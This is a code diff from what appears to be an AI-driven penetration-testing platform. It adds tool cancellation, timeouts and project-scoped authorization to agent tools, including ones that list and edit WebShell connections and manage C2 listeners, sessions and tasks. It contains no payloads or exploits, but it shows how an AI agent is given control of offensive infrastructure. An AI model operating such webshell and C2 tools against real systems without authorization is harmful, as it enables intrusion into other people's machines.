- 外部 MCP 的远端 server 内部如何采集输出不由 CyberStrikeAI 控制;CyberStrikeAI 会在结果进入本系统后统一兜底、限并发和熔断。
|
||||
- 超长工具输出会在截断前写入本地 `tmp/reduction/.../trunc/<id>`(或 `reduction_root_dir`),bounded result 中包含可 `read_file` 的绝对路径。
|
||||
@@ -44,17 +44,20 @@ HASH=$(htpasswd -nBC 10 '' | cut -d: -f2 | tr -d '\n') && sqlite3 data/conversat
|
||||
|
||||
检查:
|
||||
|
||||
- `openai.base_url` 是否包含正确路径,如 `/v1`。
|
||||
- `openai.api_key` 是否有效。
|
||||
- `openai.model` 是否存在。
|
||||
- 服务商是否支持当前 `reasoning` 字段。
|
||||
- 当前对话选择的 AI 通道是否存在;为空时会使用 `ai.default_channel`。
|
||||
- `ai.channels.<id>.base_url` 是否包含正确路径,如 `/v1`。
|
||||
- `ai.channels.<id>.api_key` 是否有效。
|
||||
- `ai.channels.<id>.model` 是否存在。
|
||||
- 服务商是否支持当前通道的 `reasoning` 字段。
|
||||
|
||||
可在系统设置中使用模型测试。若网关报 400,先尝试:
|
||||
|
||||
```yaml
|
||||
openai:
|
||||
reasoning:
|
||||
mode: off
|
||||
ai:
|
||||
channels:
|
||||
your-channel:
|
||||
reasoning:
|
||||
mode: off
|
||||
```
|
||||
|
||||
## 流式输出中断
|
||||
|
||||
+74
-27
@@ -24,18 +24,17 @@ import (
|
||||
|
||||
// Agent AI代理
|
||||
type Agent struct {
|
||||
openAIClient *openai.Client
|
||||
config *config.OpenAIConfig
|
||||
agentConfig *config.AgentConfig
|
||||
mcpServer *mcp.Server
|
||||
externalMCPMgr *mcp.ExternalMCPManager // 外部MCP管理器
|
||||
logger *zap.Logger
|
||||
maxIterations int
|
||||
mu sync.RWMutex // 添加互斥锁以支持并发更新
|
||||
toolNameMapping map[string]string // 工具名称映射:OpenAI格式 -> 原始格式(用于外部MCP工具)
|
||||
currentConversationID string // 当前对话ID(用于自动传递给工具)
|
||||
promptBaseDir string // 解析 system_prompt_path 时相对路径的基准目录(通常为 config.yaml 所在目录)
|
||||
toolDescriptionMode string // 工具描述模式: "short" | "full",默认 short
|
||||
openAIClient *openai.Client
|
||||
config *config.OpenAIConfig
|
||||
agentConfig *config.AgentConfig
|
||||
mcpServer *mcp.Server
|
||||
externalMCPMgr *mcp.ExternalMCPManager // 外部MCP管理器
|
||||
logger *zap.Logger
|
||||
maxIterations int
|
||||
mu sync.RWMutex // 添加互斥锁以支持并发更新
|
||||
toolNameMapping map[string]string // 工具名称映射:OpenAI格式 -> 原始格式(用于外部MCP工具)
|
||||
promptBaseDir string // 解析 system_prompt_path 时相对路径的基准目录(通常为 config.yaml 所在目录)
|
||||
toolDescriptionMode string // 工具描述模式: "short" | "full",默认 short
|
||||
}
|
||||
|
||||
type agentConversationIDKey struct{}
|
||||
@@ -526,12 +525,6 @@ func (a *Agent) executeToolViaMCP(ctx context.Context, toolName string, args map
|
||||
// 如果是record_vulnerability工具,自动添加conversation_id
|
||||
if toolName == builtin.ToolRecordVulnerability {
|
||||
conversationID := agentConversationIDFromContext(ctx)
|
||||
if conversationID == "" {
|
||||
a.mu.RLock()
|
||||
conversationID = a.currentConversationID
|
||||
a.mu.RUnlock()
|
||||
}
|
||||
|
||||
if conversationID != "" {
|
||||
args["conversation_id"] = conversationID
|
||||
a.logger.Debug("自动添加conversation_id到record_vulnerability工具",
|
||||
@@ -769,16 +762,8 @@ func (a *Agent) ToolsForRole(roleTools []string) []Tool {
|
||||
|
||||
// ExecuteMCPToolForConversation 在指定会话上下文中执行 MCP 工具(行为与主 Agent 循环中的工具调用一致,如自动注入 conversation_id)。
|
||||
func (a *Agent) ExecuteMCPToolForConversation(ctx context.Context, conversationID, toolName string, args map[string]interface{}) (*ToolExecutionResult, error) {
|
||||
a.mu.Lock()
|
||||
prev := a.currentConversationID
|
||||
a.currentConversationID = conversationID
|
||||
a.mu.Unlock()
|
||||
defer func() {
|
||||
a.mu.Lock()
|
||||
a.currentConversationID = prev
|
||||
a.mu.Unlock()
|
||||
}()
|
||||
ctx = withAgentConversationID(ctx, conversationID)
|
||||
ctx = mcp.WithMCPConversationID(ctx, conversationID)
|
||||
return a.executeToolViaMCP(ctx, toolName, args)
|
||||
}
|
||||
|
||||
@@ -798,6 +783,28 @@ func (a *Agent) FinishLocalToolExecution(ctx context.Context, executionID, toolN
|
||||
return a.mcpServer.FinishToolExecution(ctx, executionID, toolName, args, resultText, invokeErr)
|
||||
}
|
||||
|
||||
// AppendLocalToolExecutionPartialOutput records a bounded live-output preview for a running local tool.
|
||||
func (a *Agent) AppendLocalToolExecutionPartialOutput(executionID, chunk string) {
|
||||
if a == nil || a.mcpServer == nil {
|
||||
return
|
||||
}
|
||||
a.mcpServer.AppendToolExecutionPartialOutput(executionID, chunk)
|
||||
}
|
||||
|
||||
func (a *Agent) RegisterLocalToolExecutionCancel(executionID string, cancel context.CancelFunc) {
|
||||
if a == nil || a.mcpServer == nil {
|
||||
return
|
||||
}
|
||||
a.mcpServer.RegisterToolExecutionCancel(executionID, cancel)
|
||||
}
|
||||
|
||||
func (a *Agent) UnregisterLocalToolExecutionCancel(executionID string) {
|
||||
if a == nil || a.mcpServer == nil {
|
||||
return
|
||||
}
|
||||
a.mcpServer.UnregisterToolExecutionCancel(executionID)
|
||||
}
|
||||
|
||||
// RecordLocalToolExecution 将非 CallTool 路径完成的工具调用写入 MCP 监控库(与 CallTool 落库一致),返回 executionId。
|
||||
// 用于 Eino filesystem execute 等场景,使助手气泡「渗透测试详情」与常规 MCP 一致可点进监控。
|
||||
func (a *Agent) RecordLocalToolExecution(ctx context.Context, toolName string, args map[string]interface{}, resultText string, invokeErr error) string {
|
||||
@@ -837,6 +844,46 @@ func (a *Agent) CancelMCPToolExecutionWithNote(executionID, note string) bool {
|
||||
return false
|
||||
}
|
||||
|
||||
// CancelRunningMCPToolsForConversation cancels all currently running internal/external MCP executions
|
||||
// owned by the conversation. It is used when a session ends or the user stops a task.
|
||||
func (a *Agent) CancelRunningMCPToolsForConversation(conversationID, note string) int {
|
||||
conversationID = strings.TrimSpace(conversationID)
|
||||
if a == nil || conversationID == "" {
|
||||
return 0
|
||||
}
|
||||
note = strings.TrimSpace(note)
|
||||
seen := make(map[string]struct{})
|
||||
cancelled := 0
|
||||
cancelIfConversationMatches := func(execID string, get func(string) (*mcp.ToolExecution, bool), cancel func(string, string) bool) {
|
||||
execID = strings.TrimSpace(execID)
|
||||
if execID == "" {
|
||||
return
|
||||
}
|
||||
if _, ok := seen[execID]; ok {
|
||||
return
|
||||
}
|
||||
seen[execID] = struct{}{}
|
||||
exec, ok := get(execID)
|
||||
if !ok || exec == nil || strings.TrimSpace(exec.ConversationID) != conversationID {
|
||||
return
|
||||
}
|
||||
if cancel(execID, note) {
|
||||
cancelled++
|
||||
}
|
||||
}
|
||||
if a.mcpServer != nil {
|
||||
for execID := range a.mcpServer.ActiveRunningExecutionIDs() {
|
||||
cancelIfConversationMatches(execID, a.mcpServer.GetExecution, a.mcpServer.CancelToolExecutionWithNote)
|
||||
}
|
||||
}
|
||||
if a.externalMCPMgr != nil {
|
||||
for execID := range a.externalMCPMgr.ActiveRunningExecutionIDs() {
|
||||
cancelIfConversationMatches(execID, a.externalMCPMgr.GetExecution, a.externalMCPMgr.CancelToolExecutionWithNote)
|
||||
}
|
||||
}
|
||||
return cancelled
|
||||
}
|
||||
|
||||
// extractQuotedToolName 尝试从错误信息中提取被引用的工具名称
|
||||
func extractQuotedToolName(errMsg string) string {
|
||||
start := strings.Index(errMsg, "\"")
|
||||
|
||||
@@ -1,10 +1,15 @@
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"cyberstrike-ai/internal/config"
|
||||
"cyberstrike-ai/internal/mcp"
|
||||
"cyberstrike-ai/internal/mcp/builtin"
|
||||
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
@@ -65,3 +70,141 @@ func TestAgent_NewAgent_CustomConfig(t *testing.T) {
|
||||
t.Errorf("迭代次数不匹配。期望: 15, 实际: %d", agent.maxIterations)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentCancelRunningMCPToolsForConversation(t *testing.T) {
|
||||
ag := setupTestAgent(t)
|
||||
ag.mcpServer.ConfigureToolWaitTimeoutSeconds(1)
|
||||
ag.mcpServer.RegisterTool(mcp.Tool{Name: "block", InputSchema: map[string]interface{}{"type": "object"}}, func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
|
||||
<-ctx.Done()
|
||||
return nil, ctx.Err()
|
||||
})
|
||||
|
||||
ctx1 := mcp.WithMCPConversationID(context.Background(), "conv-1")
|
||||
result1, execID1, err := ag.mcpServer.CallTool(ctx1, "block", nil)
|
||||
if err != nil {
|
||||
t.Fatalf("CallTool conv-1: %v", err)
|
||||
}
|
||||
if result1 == nil || !result1.IsError || execID1 == "" {
|
||||
t.Fatalf("expected bounded wait for conv-1, result=%#v id=%q", result1, execID1)
|
||||
}
|
||||
|
||||
ctx2 := mcp.WithMCPConversationID(context.Background(), "conv-2")
|
||||
result2, execID2, err := ag.mcpServer.CallTool(ctx2, "block", nil)
|
||||
if err != nil {
|
||||
t.Fatalf("CallTool conv-2: %v", err)
|
||||
}
|
||||
if result2 == nil || !result2.IsError || execID2 == "" {
|
||||
t.Fatalf("expected bounded wait for conv-2, result=%#v id=%q", result2, execID2)
|
||||
}
|
||||
|
||||
if got := ag.CancelRunningMCPToolsForConversation("conv-1", "session ended"); got != 1 {
|
||||
t.Fatalf("cancelled count = %d, want 1", got)
|
||||
}
|
||||
deadline := time.Now().Add(time.Second)
|
||||
for time.Now().Before(deadline) {
|
||||
exec1, _ := ag.mcpServer.GetExecution(execID1)
|
||||
exec2, _ := ag.mcpServer.GetExecution(execID2)
|
||||
if exec1 != nil && exec1.Status == mcp.ToolExecutionStatusCancelled {
|
||||
if exec2 == nil || exec2.Status != mcp.ToolExecutionStatusRunning {
|
||||
t.Fatalf("conv-2 execution should remain running, got %#v", exec2)
|
||||
}
|
||||
if !strings.Contains(exec1.Error, "session ended") && (exec1.Result == nil || !strings.Contains(mcp.ToolResultPlainText(exec1.Result), "session ended")) {
|
||||
t.Fatalf("cancel note missing from conv-1 execution: %#v", exec1)
|
||||
}
|
||||
_ = ag.CancelRunningMCPToolsForConversation("conv-2", "")
|
||||
return
|
||||
}
|
||||
time.Sleep(10 * time.Millisecond)
|
||||
}
|
||||
t.Fatal("conv-1 execution did not become cancelled")
|
||||
}
|
||||
|
||||
func TestExecuteMCPToolForConversationInjectsConversationID(t *testing.T) {
|
||||
ag := setupTestAgent(t)
|
||||
gotArgs := make(chan map[string]interface{}, 1)
|
||||
ag.mcpServer.RegisterTool(mcp.Tool{Name: builtin.ToolRecordVulnerability, InputSchema: map[string]interface{}{"type": "object"}}, func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
|
||||
gotArgs <- args
|
||||
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "ok"}}}, nil
|
||||
})
|
||||
|
||||
result, err := ag.ExecuteMCPToolForConversation(context.Background(), "conv-record", builtin.ToolRecordVulnerability, map[string]interface{}{})
|
||||
if err != nil {
|
||||
t.Fatalf("ExecuteMCPToolForConversation: %v", err)
|
||||
}
|
||||
if result == nil || result.IsError {
|
||||
t.Fatalf("expected successful result, got %#v", result)
|
||||
}
|
||||
|
||||
select {
|
||||
case args := <-gotArgs:
|
||||
if got := args["conversation_id"]; got != "conv-record" {
|
||||
t.Fatalf("conversation_id = %#v, want conv-record", got)
|
||||
}
|
||||
case <-time.After(time.Second):
|
||||
t.Fatal("tool was not called")
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecuteMCPToolForConversationBindsExecutionConversation(t *testing.T) {
|
||||
ag := setupTestAgent(t)
|
||||
ag.mcpServer.ConfigureToolWaitTimeoutSeconds(1)
|
||||
release := make(chan struct{})
|
||||
ag.mcpServer.RegisterTool(mcp.Tool{Name: "slow-bind", InputSchema: map[string]interface{}{"type": "object"}}, func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
|
||||
select {
|
||||
case <-release:
|
||||
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "done"}}}, nil
|
||||
case <-ctx.Done():
|
||||
return nil, ctx.Err()
|
||||
}
|
||||
})
|
||||
|
||||
result, err := ag.ExecuteMCPToolForConversation(context.Background(), "conv-bound", "slow-bind", nil)
|
||||
if err != nil {
|
||||
t.Fatalf("ExecuteMCPToolForConversation: %v", err)
|
||||
}
|
||||
if result == nil || !result.IsError || result.ExecutionID == "" {
|
||||
t.Fatalf("expected bounded wait result with execution id, result=%#v", result)
|
||||
}
|
||||
|
||||
exec, ok := ag.mcpServer.GetExecution(result.ExecutionID)
|
||||
if !ok || exec == nil {
|
||||
t.Fatalf("missing execution %q", result.ExecutionID)
|
||||
}
|
||||
if exec.ConversationID != "conv-bound" {
|
||||
t.Fatalf("execution conversation = %q, want conv-bound", exec.ConversationID)
|
||||
}
|
||||
close(release)
|
||||
}
|
||||
|
||||
func TestExecuteMCPToolForConversationConcurrentRecordIsolation(t *testing.T) {
|
||||
ag := setupTestAgent(t)
|
||||
seen := make(chan string, 2)
|
||||
ag.mcpServer.RegisterTool(mcp.Tool{Name: builtin.ToolRecordVulnerability, InputSchema: map[string]interface{}{"type": "object"}}, func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
|
||||
if conv, _ := args["conversation_id"].(string); conv != "" {
|
||||
seen <- conv
|
||||
}
|
||||
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "ok"}}}, nil
|
||||
})
|
||||
|
||||
var wg sync.WaitGroup
|
||||
for _, conv := range []string{"conv-a", "conv-b"} {
|
||||
conv := conv
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
if _, err := ag.ExecuteMCPToolForConversation(context.Background(), conv, builtin.ToolRecordVulnerability, map[string]interface{}{}); err != nil {
|
||||
t.Errorf("ExecuteMCPToolForConversation %s: %v", conv, err)
|
||||
}
|
||||
}()
|
||||
}
|
||||
wg.Wait()
|
||||
close(seen)
|
||||
|
||||
got := map[string]int{}
|
||||
for conv := range seen {
|
||||
got[conv]++
|
||||
}
|
||||
if got["conv-a"] != 1 || got["conv-b"] != 1 {
|
||||
t.Fatalf("conversation ids = %#v, want one call for conv-a and conv-b", got)
|
||||
}
|
||||
}
|
||||
|
||||
+99
-9
@@ -148,10 +148,15 @@ func New(cfg *config.Config, log *logger.Logger, configPath string) (*App, error
|
||||
mcpServer := mcp.NewServerWithStorage(log.Logger, db)
|
||||
mcpServer.SetToolAuthorizer(mcpToolAuthorizer(db))
|
||||
mcpServer.ConfigureHTTPToolCallTimeoutFromAgentMinutes(cfg.Agent.ToolTimeoutMinutes)
|
||||
mcpServer.ConfigureToolWaitTimeoutSeconds(cfg.Agent.ToolWaitTimeoutSeconds)
|
||||
mcpServer.ConfigureToolResultMaxBytes(cfg.MultiAgent.EinoMiddleware.ReductionMaxLengthForTruncEffective())
|
||||
mcpServer.ConfigureToolResultSpillRoot(cfg.MultiAgent.EinoMiddleware.ReductionRootDir)
|
||||
|
||||
// 创建安全工具执行器
|
||||
executor := security.NewExecutor(&cfg.Security, mcpServer, log.Logger)
|
||||
executor.SetShellNoOutputTimeoutSeconds(cfg.Agent.ShellNoOutputTimeoutSeconds)
|
||||
executor.SetToolOutputMaxBytes(cfg.MultiAgent.EinoMiddleware.ReductionMaxLengthForTruncEffective())
|
||||
executor.SetToolOutputSpillRoot(cfg.MultiAgent.EinoMiddleware.ReductionRootDir)
|
||||
|
||||
// 注册工具
|
||||
executor.RegisterTools(mcpServer)
|
||||
@@ -165,6 +170,16 @@ func New(cfg *config.Config, log *logger.Logger, configPath string) (*App, error
|
||||
// 创建外部MCP管理器(使用与内部MCP服务器相同的存储)
|
||||
externalMCPMgr := mcp.NewExternalMCPManagerWithStorage(log.Logger, db)
|
||||
externalMCPMgr.SetToolAuthorizer(externalMCPToolAuthorizer())
|
||||
externalMCPMgr.ConfigureToolWaitTimeoutSeconds(cfg.Agent.ToolWaitTimeoutSeconds)
|
||||
externalMCPMgr.ConfigureToolResultMaxBytes(cfg.MultiAgent.EinoMiddleware.ReductionMaxLengthForTruncEffective())
|
||||
externalMCPMgr.ConfigureToolResultSpillRoot(cfg.MultiAgent.EinoMiddleware.ReductionRootDir)
|
||||
externalMCPMgr.ConfigureResilience(mcp.ExternalMCPResilienceConfig{
|
||||
MaxConcurrentPerServer: cfg.Agent.ExternalMCPMaxConcurrentPerServer,
|
||||
MaxConcurrentTotal: cfg.Agent.ExternalMCPMaxConcurrentTotal,
|
||||
CircuitFailureThreshold: cfg.Agent.ExternalMCPCircuitFailureThreshold,
|
||||
CircuitCooldown: time.Duration(cfg.Agent.ExternalMCPCircuitCooldownSeconds) * time.Second,
|
||||
})
|
||||
mcp.RegisterExecutionControlTools(mcpServer, externalMCPMgr)
|
||||
if cfg.ExternalMCP.Servers != nil {
|
||||
externalMCPMgr.LoadConfigs(&cfg.ExternalMCP)
|
||||
// 启动所有启用的外部MCP客户端
|
||||
@@ -1298,6 +1313,7 @@ func setupRoutes(
|
||||
c2Routes.GET("/sessions/:id", c2Handler.GetSession)
|
||||
c2Routes.DELETE("/sessions/:id", c2Handler.DeleteSession)
|
||||
c2Routes.PUT("/sessions/:id/sleep", c2Handler.SetSessionSleep)
|
||||
c2Routes.PUT("/sessions/:id/note", c2Handler.SetSessionNote)
|
||||
c2Routes.GET("/tasks", c2Handler.ListTasks)
|
||||
c2Routes.DELETE("/tasks", c2Handler.DeleteTasks)
|
||||
c2Routes.GET("/tasks/:id", c2Handler.GetTask)
|
||||
@@ -1322,6 +1338,7 @@ func setupRoutes(
|
||||
|
||||
// 对话附件(chat_uploads)管理
|
||||
protected.GET("/chat-uploads", chatUploadsHandler.List)
|
||||
protected.GET("/chat-uploads/export", chatUploadsHandler.Export)
|
||||
protected.GET("/chat-uploads/download", chatUploadsHandler.Download)
|
||||
protected.GET("/chat-uploads/content", chatUploadsHandler.GetContent)
|
||||
protected.POST("/chat-uploads", chatUploadsHandler.Upload)
|
||||
@@ -1558,22 +1575,62 @@ func registerWebshellManagementTools(mcpServer *mcp.Server, db *database.DB, web
|
||||
logger.Warn("跳过 WebShell 管理工具注册:db 为空")
|
||||
return
|
||||
}
|
||||
projectIDFromToolArgs := func(ctx context.Context, args map[string]interface{}) string {
|
||||
projectID, _ := args["project_id"].(string)
|
||||
projectID = strings.TrimSpace(projectID)
|
||||
if projectID == "" {
|
||||
projectID = strings.TrimSpace(mcp.MCPProjectIDFromContext(ctx))
|
||||
}
|
||||
return projectID
|
||||
}
|
||||
explicitProjectIDFromToolArgs := func(args map[string]interface{}) string {
|
||||
projectID, _ := args["project_id"].(string)
|
||||
return strings.TrimSpace(projectID)
|
||||
}
|
||||
authorizeWebshellToolProject := func(principal authctx.Principal, permission, projectID string) *mcp.ToolResult {
|
||||
projectID = strings.TrimSpace(projectID)
|
||||
if projectID == "" {
|
||||
return nil
|
||||
}
|
||||
if projectID == database.ProjectFilterUnbound {
|
||||
return nil
|
||||
}
|
||||
if !db.UserCanAccessResource(principal.UserID, principal.ScopeFor(permission), "project", projectID) {
|
||||
return &mcp.ToolResult{
|
||||
Content: []mcp.Content{{Type: "text", Text: "无权访问项目: " + projectID}},
|
||||
IsError: true,
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// manage_webshell_list - 列出所有 webshell 连接
|
||||
listTool := mcp.Tool{
|
||||
Name: builtin.ToolManageWebshellList,
|
||||
Description: "列出所有已保存的 WebShell 连接,返回连接ID、URL、类型、备注等信息。",
|
||||
Description: "列出已保存的 WebShell 连接,返回连接ID、URL、类型、所属项目、备注等信息。默认按当前对话项目边界过滤:项目对话看本项目,未绑定项目的对话看未绑定连接;显式传 project_id 时按指定项目过滤。",
|
||||
ShortDescription: "列出所有 WebShell 连接",
|
||||
InputSchema: map[string]interface{}{
|
||||
"type": "object",
|
||||
"properties": map[string]interface{}{},
|
||||
"type": "object",
|
||||
"properties": map[string]interface{}{
|
||||
"project_id": map[string]interface{}{
|
||||
"type": "string",
|
||||
"description": "项目 ID;不填时在项目会话中默认使用当前项目。",
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
listHandler := func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
|
||||
connections := []database.WebShellConnection{}
|
||||
var err error
|
||||
if principal, ok := authctx.PrincipalFromContext(ctx); ok {
|
||||
connections, err = db.ListWebshellConnectionsForAccess(principal.UserID, principal.ScopeFor("webshell:read"))
|
||||
projectID := explicitProjectIDFromToolArgs(args)
|
||||
if projectID == "" {
|
||||
projectID = mcpEffectiveProjectFilter(ctx, db)
|
||||
}
|
||||
if result := authorizeWebshellToolProject(principal, "webshell:read", projectID); result != nil {
|
||||
return result, nil
|
||||
}
|
||||
connections, err = db.ListWebshellConnectionsForAccess(principal.UserID, principal.ScopeFor("webshell:read"), projectID)
|
||||
} else {
|
||||
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "缺少认证身份"}}, IsError: true}, nil
|
||||
}
|
||||
@@ -1597,6 +1654,11 @@ func registerWebshellManagementTools(mcpServer *mcp.Server, db *database.DB, web
|
||||
sb.WriteString(fmt.Sprintf(" 类型: %s\n", conn.Type))
|
||||
sb.WriteString(fmt.Sprintf(" 请求方式: %s\n", conn.Method))
|
||||
sb.WriteString(fmt.Sprintf(" 命令参数: %s\n", conn.CmdParam))
|
||||
if conn.ProjectID != "" {
|
||||
sb.WriteString(fmt.Sprintf(" 项目ID: %s\n", conn.ProjectID))
|
||||
} else {
|
||||
sb.WriteString(" 项目: 未绑定\n")
|
||||
}
|
||||
if conn.Remark != "" {
|
||||
sb.WriteString(fmt.Sprintf(" 备注: %s\n", conn.Remark))
|
||||
}
|
||||
@@ -1671,6 +1733,14 @@ func registerWebshellManagementTools(mcpServer *mcp.Server, db *database.DB, web
|
||||
cmdParam = "cmd"
|
||||
}
|
||||
remark, _ := args["remark"].(string)
|
||||
principal, ok := authctx.PrincipalFromContext(ctx)
|
||||
if !ok {
|
||||
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "缺少认证身份"}}, IsError: true}, nil
|
||||
}
|
||||
projectID := projectIDFromToolArgs(ctx, args)
|
||||
if result := authorizeWebshellToolProject(principal, "webshell:write", projectID); result != nil {
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// 生成连接ID
|
||||
connID := "ws_" + strings.ReplaceAll(uuid.New().String(), "-", "")[:12]
|
||||
@@ -1682,6 +1752,7 @@ func registerWebshellManagementTools(mcpServer *mcp.Server, db *database.DB, web
|
||||
Method: strings.ToLower(method),
|
||||
CmdParam: cmdParam,
|
||||
Remark: remark,
|
||||
ProjectID: projectID,
|
||||
CreatedAt: time.Now(),
|
||||
}
|
||||
|
||||
@@ -1691,15 +1762,17 @@ func registerWebshellManagementTools(mcpServer *mcp.Server, db *database.DB, web
|
||||
IsError: true,
|
||||
}, nil
|
||||
}
|
||||
if principal, ok := authctx.PrincipalFromContext(ctx); ok {
|
||||
_ = db.SetResourceOwner("webshell", conn.ID, principal.UserID)
|
||||
_ = db.AssignResourceToUser(principal.UserID, "webshell", conn.ID)
|
||||
_ = db.SetResourceOwner("webshell", conn.ID, principal.UserID)
|
||||
_ = db.AssignResourceToUser(principal.UserID, "webshell", conn.ID)
|
||||
projectLine := "项目: 未绑定"
|
||||
if conn.ProjectID != "" {
|
||||
projectLine = "项目ID: " + conn.ProjectID
|
||||
}
|
||||
|
||||
return &mcp.ToolResult{
|
||||
Content: []mcp.Content{{
|
||||
Type: "text",
|
||||
Text: fmt.Sprintf("WebShell 连接添加成功!\n\n连接ID: %s\nURL: %s\n类型: %s\n请求方式: %s\n命令参数: %s", conn.ID, conn.URL, conn.Type, conn.Method, conn.CmdParam),
|
||||
Text: fmt.Sprintf("WebShell 连接添加成功!\n\n连接ID: %s\nURL: %s\n类型: %s\n请求方式: %s\n命令参数: %s\n%s", conn.ID, conn.URL, conn.Type, conn.Method, conn.CmdParam, projectLine),
|
||||
}},
|
||||
IsError: false,
|
||||
}, nil
|
||||
@@ -1744,6 +1817,10 @@ func registerWebshellManagementTools(mcpServer *mcp.Server, db *database.DB, web
|
||||
"type": "string",
|
||||
"description": "新的备注",
|
||||
},
|
||||
"project_id": map[string]interface{}{
|
||||
"type": "string",
|
||||
"description": "新的所属项目 ID;传空字符串可取消绑定。",
|
||||
},
|
||||
},
|
||||
"required": []string{"connection_id"},
|
||||
},
|
||||
@@ -1785,6 +1862,19 @@ func registerWebshellManagementTools(mcpServer *mcp.Server, db *database.DB, web
|
||||
if remark, ok := args["remark"].(string); ok {
|
||||
existing.Remark = remark
|
||||
}
|
||||
if projectID, ok := args["project_id"].(string); ok {
|
||||
projectID = strings.TrimSpace(projectID)
|
||||
if projectID != "" {
|
||||
principal, ok := authctx.PrincipalFromContext(ctx)
|
||||
if !ok {
|
||||
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "缺少认证身份"}}, IsError: true}, nil
|
||||
}
|
||||
if result := authorizeWebshellToolProject(principal, "webshell:write", projectID); result != nil {
|
||||
return result, nil
|
||||
}
|
||||
}
|
||||
existing.ProjectID = projectID
|
||||
}
|
||||
|
||||
if err := db.UpdateWebshellConnection(existing); err != nil {
|
||||
return &mcp.ToolResult{
|
||||
@@ -1796,7 +1886,7 @@ func registerWebshellManagementTools(mcpServer *mcp.Server, db *database.DB, web
|
||||
return &mcp.ToolResult{
|
||||
Content: []mcp.Content{{
|
||||
Type: "text",
|
||||
Text: fmt.Sprintf("WebShell 连接更新成功!\n\n连接ID: %s\nURL: %s\n类型: %s\n请求方式: %s\n命令参数: %s\n备注: %s", existing.ID, existing.URL, existing.Type, existing.Method, existing.CmdParam, existing.Remark),
|
||||
Text: fmt.Sprintf("WebShell 连接更新成功!\n\n连接ID: %s\nURL: %s\n类型: %s\n请求方式: %s\n命令参数: %s\n项目ID: %s\n备注: %s", existing.ID, existing.URL, existing.Type, existing.Method, existing.CmdParam, existing.ProjectID, existing.Remark),
|
||||
}},
|
||||
IsError: false,
|
||||
}, nil
|
||||
|
||||
@@ -87,7 +87,7 @@ tcp_reverse 默认仅接受 CSB1 加密 Beacon(AES-GCM + ImplantToken)才登
|
||||
|
||||
switch action {
|
||||
case "list":
|
||||
listeners, err := m.DB().ListC2ListenersForAccess(c2ToolAccess(ctx))
|
||||
listeners, err := m.DB().ListC2ListenersForAccess(c2ToolAccess(ctx), mcpEffectiveProjectFilter(ctx, m.DB()))
|
||||
if err != nil {
|
||||
return makeC2Result(nil, err)
|
||||
}
|
||||
@@ -123,6 +123,7 @@ tcp_reverse 默认仅接受 CSB1 加密 Beacon(AES-GCM + ImplantToken)才登
|
||||
BindPort: int(getFloat64(params, "bind_port")),
|
||||
ProfileID: getString(params, "profile_id"),
|
||||
Remark: getString(params, "remark"),
|
||||
ProjectID: strings.TrimSpace(mcp.MCPProjectIDFromContext(ctx)),
|
||||
Config: cfg,
|
||||
CallbackHost: getString(params, "callback_host"),
|
||||
}
|
||||
@@ -260,6 +261,7 @@ func registerC2SessionTool(s *mcp.Server, m *c2.Manager, l *zap.Logger) {
|
||||
case "list":
|
||||
filter := database.ListC2SessionsFilter{
|
||||
ListenerID: getString(params, "listener_id"),
|
||||
ProjectID: mcpEffectiveProjectFilter(ctx, m.DB()),
|
||||
Status: getString(params, "status"),
|
||||
OS: getString(params, "os"),
|
||||
Search: getString(params, "search"),
|
||||
@@ -495,6 +497,7 @@ func registerC2TaskManageTool(s *mcp.Server, m *c2.Manager, l *zap.Logger) {
|
||||
case "list":
|
||||
filter := database.ListC2TasksFilter{
|
||||
SessionID: getString(params, "session_id"),
|
||||
ProjectID: mcpEffectiveProjectFilter(ctx, m.DB()),
|
||||
Status: getString(params, "status"),
|
||||
}
|
||||
if limit := int(getFloat64(params, "limit")); limit > 0 {
|
||||
@@ -645,6 +648,7 @@ func registerC2EventTool(s *mcp.Server, m *c2.Manager, l *zap.Logger) {
|
||||
filter := database.ListC2EventsFilter{
|
||||
Level: getString(params, "level"),
|
||||
Category: getString(params, "category"),
|
||||
ProjectID: mcpEffectiveProjectFilter(ctx, m.DB()),
|
||||
SessionID: getString(params, "session_id"),
|
||||
TaskID: getString(params, "task_id"),
|
||||
Limit: int(getFloat64(params, "limit")),
|
||||
|
||||
@@ -32,6 +32,19 @@ func mcpToolAuthorizer(db *database.DB) func(context.Context, string, map[string
|
||||
if id == "" || db == nil || !db.UserCanAccessResource(principal.UserID, principal.ScopeFor(permission), resourceType, id) {
|
||||
return fmt.Errorf("no access to %s %s", resourceType, id)
|
||||
}
|
||||
if err := authorizeMCPProjectResourceBoundary(ctx, db, resourceType, id); err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
toolExecutionResource := func(permission string) error {
|
||||
if err := require(permission); err != nil {
|
||||
return err
|
||||
}
|
||||
id := mcpAuthorizationString(args, "execution_id")
|
||||
if id == "" || db == nil || !db.UserCanAccessToolExecution(principal.UserID, principal.ScopeFor(permission), id) {
|
||||
return fmt.Errorf("no access to tool execution %s", id)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -108,6 +121,10 @@ func mcpToolAuthorizer(db *database.DB) func(context.Context, string, map[string
|
||||
return require("knowledge:read")
|
||||
case builtin.ToolAnalyzeImage:
|
||||
return require("agent:execute")
|
||||
case builtin.ToolGetToolExecution, builtin.ToolWaitToolExecution:
|
||||
return toolExecutionResource("monitor:read")
